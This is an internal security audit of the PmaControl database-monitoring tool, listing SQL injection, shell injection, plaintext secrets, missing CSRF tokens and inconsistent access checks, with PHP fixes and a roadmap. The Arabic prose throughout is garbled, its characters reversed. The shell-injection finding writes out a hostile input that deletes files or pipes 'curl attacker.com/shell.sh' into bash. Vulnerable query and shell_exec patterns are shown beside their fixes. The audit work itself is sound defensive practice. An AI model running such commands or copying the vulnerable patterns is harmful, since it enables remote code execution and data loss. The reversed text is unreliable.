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PMACONTROL SECURITY SQL-INJECTION AUDIT HARDENING

SECURITY AUDIT — HARDENING ROADMAP
PmaControl internal audit — findings and remediation

!
CRITICAL
SQL Injection
Dynamic query building

4 controllers affected

CRITICAL
Shell Injection
shell_exec() with user input

BackupController — RCE risk

HIGH
Plaintext Secrets
Passwords in config files

No encryption at rest

HIGH
No CSRF Tokens
Forms without protection

Cross-site request forgery

MEDIUM
Scattered ACL
Inconsistent permission checks

REMEDIATION ROADMAP

P1 — IMMEDIATE
Parameterized queries
Remove shell_exec + CSRF + Encrypt

7-12d P2 — 30 DAYS
Isolate SSH/backup workers
Rate limiting + FS permissions

8-12d P3 — 90 DAYS
ACL middleware + Normalize
Security headers + Logging

11-17d

PmaControl — Security Audit & Hardening

كب ةصاخلا ةيجمربلا تاميلعتلا ةعجارمب موقت اذامل

PmaControl ىلع فرشي MariaDB / MySQL ىلإ لوصولا قح هيدل .جاتنإلل ةيتحتلا ةينبلا
.مجاهملل يسيئر فده هنإ .لاصتالا دامتعا تانايبو SSH حيتافمو تانيوكتلاو سيياقملا

فعضلا طاقن ديدحتل نكلو ،يقيوست ريرقت رشنل سيل ،اًيلخاد اًينمأ اًقيقدت انيرجأ دقل
.سفنلا نع اضرلا نود جئاتنلا ةلاقملا هذه ليصافت .اهحيحصتل ةيولوألا ءاطعإو ةيقيقحلا

ةيجهنملا

:ةعجارملا تطغ

اهجذامنو PHP مكحت تادحول يوديلا ليلحتلا :ةتباثلا ةيجمربلا تاميلعتلا ةعجارم
اهضرع قرطو

API ةياهنلا طاقنو جذامنلا ىلع نقحلا تارابتخا :يكيمانيدلا ليلحتلا

رارسألاو ،تافلملا ماظن تانوذأو ،نيوكتلا تافلم :نيوكتلا

تانايبلا قفدتو ،تانوكملا لزعو ،موجهلا حطس :ةينبلا



يكيمانيدلا مالعتسالا ءانب ربع SQL نقح :1 ةظحالملا

ةجرح :ةروطخلا

:ةرشابم مدختسملا تاملعم طبر قيرط نع SQL تابلط ءاشنإب مكحتلا تادحو نم ديدعلا موقت

// Pattern trouvé dans plusieurs controllers

$sql = "SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'";

$results = $db->query($sql);

ليدعت وأ ،تانايبلا جارختسا مجاهملل نكمي .SQL يكيسالكلا نقحلل ةضرع طمنلا اذه
INTO OUTFILE ربع ماظنلا رماوأ ذيفنت ،تالاحلا أوسأ يف وأ ،تالجسلا ()LOAD_FILE وأ  .

اهديدحت مت يتلا تالاحلا

يلاملا بقارملا ةياهنلا ةطقن ةفيعضلا دادعإلا

مداخلا مكحت ةدحو ثحب/مداوخلا/ ثحب

TagController حشرم / تامالعلا / مسالا

لجسلا مكحت ةدحو ضرع/تالجس/ date_range ،مداخلا فرعم

رلورتنوكيرتم مالعتسالا/سيياقملا/ metric_name

جالعلا

:(ةدعملا تانايبلا) تاملعملا تاذ تامالعتسالا ىلإ ليدبتلاب مق

// Avant (vulnérable)

$sql = "SELECT * FROM servers WHERE name LIKE '%" . $search . "%'";

// Après (sécurisé)

$sql = "SELECT * FROM servers WHERE name LIKE ?";

$results = $db->query($sql, ['%' . $search . '%']);

تمت دقف :ةيخيرات لب ةينقت تسيل ةلكشملا .ًالصأ ةدعملا تانايبلا Glial لمع راطإ معدي
.ةسرامملا هذهل يجهنملا دامتعالا لبق دوكلا ةباتك

ةيطايتحالا مكحتلا ةدحو يف ةفدصلا نقح :2 ةظحالملا
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ةجرح :ةروطخلا

()shell_exec ىلإ ةرشابم مدختسملا لاخدإ ريرمتب ةيطايتحالا مكحتلا ةدحو موقت :

// Pattern trouvé dans BackupController

$output = shell_exec("mysqldump -h " . $host . " -u " . $user . " " . $database);

host$ ناك اذإ / rm -rf ; ىلع يوتحي  (curl attacker.com/shell.sh | bash)$ وأ  ذيفنت متيسف ،
.PHP ةيلمع تازايتماب رمألا

يطايتحالا خسنلا جذومن ىلإ لوصولا قح هيدل يذلا مجاهملل نكمي .قيقدتلا ةرغث رطخأ يه هذه
.PmaControl مداخ ىلع لماك shell  ىلع لوصحلا

جالعلا

1. ()shell_exec ةفاك فذح تاءانثتسا نودب — مدختسملا تادادعإ عم 

2. ()escapeshellarg مدختسا اًيروف فذحلا نكي مل اذإ يلاقتنا ءارجإك 

3. ،mysqldump ـل PDO) ةيلصألا PHP تابتكم ـب ةفدصلا تاءاعدتسا لدبتسا ،ةياهنلا يف
(SSH ـل phpseclibو

// Mesure transitoire (pas suffisante seule)

$output = shell_exec("mysqldump -h " . escapeshellarg($host) . " ...");

// Solution définitive : pas de shell du tout

$pdo = new PDO("mysql:host=$host;dbname=$database", $user, $pass);

// ... backup via PDO et SELECT INTO OUTFILE ou équivalent

نيوكتلا تافلم يف رورملا تاملك حسم :3 ةجيتنلا

ةيلاع :ةروطخلا

يف يداع صن يف فارشإلل ةعضاخلا تانايبلا دعاوقب لاصتالا دامتعا تانايب نيزخت متي
:PHP نيوكت تافلم

// config/database.php

$config['servers'] = [

    'prod-master' => [

        'host' => '10.0.1.10',

        'user' => 'pmacontrol',

        'password' => 'P@ssw0rd123!',  // En clair
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    ],

];

لمتحملا نم .تافلملا ماظن ىلإ ةءارقلل لوصولا قح هيدل مدختسم يأل ةحاتم تافلملا هذه
.Git ـب نيمزتلم اونوكي نأ اًضيأ

جالعلا

1. ةئيبلا ريغتم نم قتشم حاتفم مادختساب ةطشنلا ريغ رارسألا ريفشت

2. ةيباحسلا رشنلا تايلمعل (HashiCorp Vault، AWS Secrets Manager) رارسألا ريدم مدختسا

3. تافلملا نم ًالدب ةئيبلا تاريغتم يف رورملا تاملك نيزختب مق ،ىندأ دحك

// Après remédiation

$config['servers'] = [

    'prod-master' => [

        'host' => '10.0.1.10',

        'user' => 'pmacontrol',

        'password' => getenv('PMAC_PROD_MASTER_PASS'),

    ],

];

CSRF ةيامح بايغ :4 ةجيتنلا

ةيلاع :ةروطخلا

ءاشنإ مجاهملل نكمي .(عقاوملا ربع بلط ريوزت) CSRF زمر ىلع PmaControl جذامن يوتحت ال
.لوخدلا ليجستب ماق يذلا مدختسملا نع ةباين PmaControl جذومن لسرت ةراض بيو ةحفص

:موجهلا ويرانيس

1. بيوبت ةمالع يف PmaControl لوؤسملا لوخد ليجست مت

2. ىرخأ بيوبت ةمالع يف ةراض بيو ةحفص ةرايزب موقي

3. POST /servers/delete/42 لسري يئرم ريغ جذومن ىلع ةحفصلا يوتحت

4. مداخلا فذح متي - PmaControl ةسلجلا طابترا فيرعت فلم حفصتملا لسري

جالعلا

:POST جذامن عيمج ىلع CSRF زومر ذيفنتب مق
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// Génération du token

$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Dans le formulaire

<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">

// Validation côté serveur

if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {

    http_response_code(403);

    die('CSRF token mismatch');

}

قرفتملا لوصولا يف مكحتلا :5 ةجيتنلا

ةطسوتم :ةروطخلا

مكحت ةدحو لك موقت .ةيزكرم تسيل (لوصولا يف مكحتلا ةمئاق) ACL نم ققحتلا تايلمع نإ
:قستم ريغ لكشب ،اهب ةصاخلا تانوذألا نم ققحتلا تايلمع ذيفنتب

// Controller A : vérifie les permissions

if (!$user->hasPermission('server.delete')) {

    redirect('/unauthorized');

}

// Controller B : ne vérifie rien

public function deleteServer($id) {

    $this->ServerModel->delete($id);  // Pas de vérification ACL

}

جالعلا

:ءارجإلا يف مكحت ةدحو لك لبق اهذيفنت متي يتلا ةطيسولا جماربلا يف ACL مئاوق ةزكرم

// Middleware centralisé

class AclMiddleware {

    public function before($controller, $action) {

        $permission = $controller . '.' . $action;

        if (!$this->user->hasPermission($permission)) {

            throw new ForbiddenException();
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        }

    }

}

جالعلا قيرط ةطيرخ

(ةيروف) ةجرح — 1 ةيولوألا

لمعلا ردقملا دهجلا ةلاحلا

مكحتلا تادحو ةفاك يف تاملعم تاذ تامالعتسا مايأ 3-5 مدقتلا ديق

مدختسملا تالاخدإب shell_exec ةلازإ مايأ 1-2 مدقتلا ديق

اهلاكشأ عيمجب CSRF زومر مايأ 2-3 ططخم

نيوكتلا يف رارسألا ريفشت مايأ 1-2 ططخم

(اًموي 30 لالخ) ةيلاع — 2 ةيولوألا

لمعلا ردقملا دهجلا ةلاحلا

ةلصفنم ةيلمع يف يطايتحالا خسنلا/SSH لامع لزع مايأ 5-8 ططخم

تافلملا ماظن تانوذأ قيقدت دحاو موي ططخم

ةقداصملاو API ىلع لدعملا ديدحت مايأ 2-3 ططخم

(اًموي 90 لالخ) ةطسوتم - 3 ةيولوألا

لمعلا ردقملا دهجلا ةلاحلا

ةطيسولا جماربلا يف ACL مئاوق ةيزكرم مايأ 3-5 ططخم

مكحتلا طامنأ ديحوت مايأ 5-8 ططخم

(CSP، HSTS، X-Frame-Options) نامألا سوؤر دحاو موي ططخم

يزكرم ينمأ ليجست مايأ 2-3 ططخم

قيقدتلا اذه هيطغي ال ام
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ءارجإل طيطختلا مت - (jQuery، Bootstrap) ثلاثلا فرطلا تايعبت يف ةينمألا تارغثلا
لصفنم قيقدت

ةيتحتلا ةينبلا ةيلوؤسم هذه - (TLS ،ةيامحلا رادج) ةكبشلا فعض طاقن

ينفلا قاطنلا جراخ - يلايتحالا ديصتلاو ةيعامتجالا ةسدنهلا

ةصالخلا

.ةيمهألا غلاب اًفده جاتنإلا دامتعا تانايب ىلإ لوصولا اهنكمي يتلا ةبقارملا ةادأ دعت
PmaControl، اًنويد لمحت ،يوضع لكشب تمن يتلا ردصملا ةحوتفم عيراشملا نم ديدعلا لثم
.ةيخيرات ةينمأ

ةطراخو ةينمألا تارغثلا قيثوت لضفن نحن .دمعتم رايخ يه بويعلا هذه نأشب ةيفافشلا نإ
.نمآ دوكلا نأب رهاظتلا نم ًالدب اًنلع ةجلاعملا قيرط

حطس نم للقي PmaControl نم رادصإ لك .اًيعقاو اًلودج P3و P2 عبتي .مدقتلا ديق P1 تاحالصإ
.موجهلا
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